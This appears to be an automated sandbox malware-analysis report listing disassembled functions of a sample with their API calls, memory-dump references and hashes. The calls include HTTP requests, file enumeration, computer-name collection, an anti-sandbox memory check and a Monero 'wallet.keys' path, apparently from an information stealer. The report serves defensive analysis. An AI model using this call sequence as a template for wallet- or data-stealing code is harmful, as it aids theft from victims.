Instruction Fuzzy Hash: C0213EB1D00208ABDF14DFA5EC45ADE7B74FF44320F508225FA19A7290DB706A0ACB91

Function 001F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Part of subcall function 001E6280: InternetOpenA.WININET(00200DFE,00000001,00000000,00000000,00000000), ref: 001E62E1
Part of subcall function 001E6280: StrCmpCA.SHLWAPI(?,0143E570), ref: 001E6303
Part of subcall function 001E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 001E6335
Part of subcall function 001E6280: HttpOpenRequestA.WININET(00000000,GET,?,0143DB20,00000000,00000000,00400100,00000000), ref: 001E6385
Part of subcall function 001E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001E63BF
Part of subcall function 001E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001E63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001F5228

Strings

ERROR, xrefs: 001F521A
ERROR, xrefs: 001F5273

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: c109cbdbc1feeec7f31f077fb50630b4c78fdf6fcd34fd65f855fab3a014b5d0
Instruction ID: c7a6ad6e2a2316ebf47c11882032ed1464cba42c449e5bf83411d0918fedf2af
Opcode Fuzzy Hash: c109cbdbc1feeec7f31f077fb50630b4c78fdf6fcd34fd65f855fab3a014b5d0
Instruction Fuzzy Hash: 34111FB091014CA7CB14FF60DD52AFD7339AF60340F808254FA0E4B592EF746B16C691

Function 001F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 001F8E0B

lstrcat.KERNEL32(?,00000000), ref: 001F4F7A
lstrcat.KERNEL32(?,00201070), ref: 001F4F97
lstrcat.KERNEL32(?,01438A00), ref: 001F4FAB
lstrcat.KERNEL32(?,00201074), ref: 001F4FBD

Part of subcall function 001F4910: wsprintfA.USER32 ref: 001F492C
Part of subcall function 001F4910: FindFirstFileA.KERNEL32(?,?), ref: 001F4943

Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FDC), ref: 001F4971
Part of subcall function 001F4910: StrCmpCA.SHLWAPI(?,00200FE0), ref: 001F4987
Part of subcall function 001F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 001F4B7D
Part of subcall function 001F4910: FindClose.KERNEL32(000000FF), ref: 001F4B92

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ff82b9c85d2745c567f8dee98bb2ad4066b4b9177c92b05d03b7d77f0e4289bd
Instruction ID: 3c0b558920bce29dd88b7481a6e976131063b15217abec5a39eb6a03764266ec
Opcode Fuzzy Hash: ff82b9c85d2745c567f8dee98bb2ad4066b4b9177c92b05d03b7d77f0e4289bd
Instruction Fuzzy Hash: 8C219B76A0020867C764F770DC46EEE333DAB65300F404598BB5992181EFB496D98B96

Function 001F0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01438A50), ref: 001F079A
StrCmpCA.SHLWAPI(00000000,01438B30), ref: 001F0866
StrCmpCA.SHLWAPI(00000000,01438AB0), ref: 001F099D

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 04c0be05983623bf44f89f4d1a7501fd5eadf7bab967ce1bdbadb271f08d8ad5
Instruction ID: 61940e021830d81d83b0031a701b6df960f4938449ff4115323b15281542802c
Opcode Fuzzy Hash: 04c0be05983623bf44f89f4d1a7501fd5eadf7bab967ce1bdbadb271f08d8ad5
Instruction Fuzzy Hash: C1917775A102489FCB28EF64D991EFD77B5BF95300F408528E90D8B252DB35AA06CB92

Function 001F0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01438A50), ref: 001F079A
StrCmpCA.SHLWAPI(00000000,01438B30), ref: 001F0866
StrCmpCA.SHLWAPI(00000000,01438AB0), ref: 001F099D

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ca4e1e5c9cde1cb7f97aeb2d9c0a3674ee57c8181e17fb5eddb6d6e1191bdbaf
Instruction ID: e04214ae5a1f5dd4fdef5320ddccd7a24dc9f71ba9959b12edb08f7245ad3fb5
Opcode Fuzzy Hash: ca4e1e5c9cde1cb7f97aeb2d9c0a3674ee57c8181e17fb5eddb6d6e1191bdbaf
Instruction Fuzzy Hash: D6817775B102099FCB28EF64C991EFDB7B5FF95300F508529E9099F251DB34AA06CB82

Function 001F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: f8d4548b12ebf08d4e7e6a53f7c5f635fe5c42d980579bd8169cb7dde6af1ead
Instruction ID: b999be6fd4ad9f804d370bfe0ce94a573b5959058f8c3d45213bea7a587faac5
Opcode Fuzzy Hash: f8d4548b12ebf08d4e7e6a53f7c5f635fe5c42d980579bd8169cb7dde6af1ead
Instruction Fuzzy Hash: 7C0181B1A04209EBC714DF98DD45BAABBB8FB04B25F10422AFA45E32C0C77459048BA2

Function 6C613060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C613095

Part of subcall function 6C6135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C69F688,00001000), ref: 6C6135D5
Part of subcall function 6C6135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6135E0
Part of subcall function 6C6135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6135FD
Part of subcall function 6C6135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C61363F
Part of subcall function 6C6135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C61369F
Part of subcall function 6C6135A0: __aulldiv.LIBCMT ref: 6C6136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61309F

Part of subcall function 6C635B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6356EE,?,00000001), ref: 6C635B85
Part of subcall function 6C635B50: EnterCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635B90
Part of subcall function 6C635B50: LeaveCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635BD8
Part of subcall function 6C635B50: GetTickCount64.KERNEL32 ref: 6C635BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6130BE

Part of subcall function 6C6130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C613127
Part of subcall function 6C6130F0: __aulldiv.LIBCMT ref: 6C613140

Part of subcall function 6C64AB2A: __onexit.LIBCMT ref: 6C64AB30

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 6b032594bfa5ea1f8054f48c75c282421e508b953d209389e58e2f37904d8fde
Instruction ID: 370e249e8b59a976987b2e382ec21702f69d23d636ddd687ad6ba78ba12ea023
Opcode Fuzzy Hash: 6b032594bfa5ea1f8054f48c75c282421e508b953d209389e58e2f37904d8fde
Instruction Fuzzy Hash: E0F0F932D2074597CB10DF3588D11E67374AF6B115F515729F84553521FB2061E883DF

Function 001F9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 001F9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 001F94A5
CloseHandle.KERNEL32(00000000), ref: 001F94AF

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: fdb374f711dcbab127768b990b6035f2ddbb883f7fda7467ecdcc13a754a27d1
Instruction ID: cceb4b1c8e55dfce402b56fbc57b96da084bb11b2567f852bf806bfeab830ceb
Opcode Fuzzy Hash: fdb374f711dcbab127768b990b6035f2ddbb883f7fda7467ecdcc13a754a27d1
Instruction Fuzzy Hash: EEF03A74A0020CEBDB14EFA4DC4AFE97778EB08700F004598BA1997290D6B5AA86CB95

Function 001E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 001E1132
ExitProcess.KERNEL32 ref: 001E1143

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: eecbee853cadd92d0ef1f237a6867c7cdf6447836e478b2ead0b5520c0de7fb0
Instruction ID: a93406de1caca32c6b8aea83ce83a951548f6a25d2ed38c94a49c6aec549c1db
Opcode Fuzzy Hash: eecbee853cadd92d0ef1f237a6867c7cdf6447836e478b2ead0b5520c0de7fb0
Instruction Fuzzy Hash: A5E0E670A85348FBE7206BA19C0AB0D7678AB04B01F504154FB09B61D0D7B56651969D

Function 001F1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
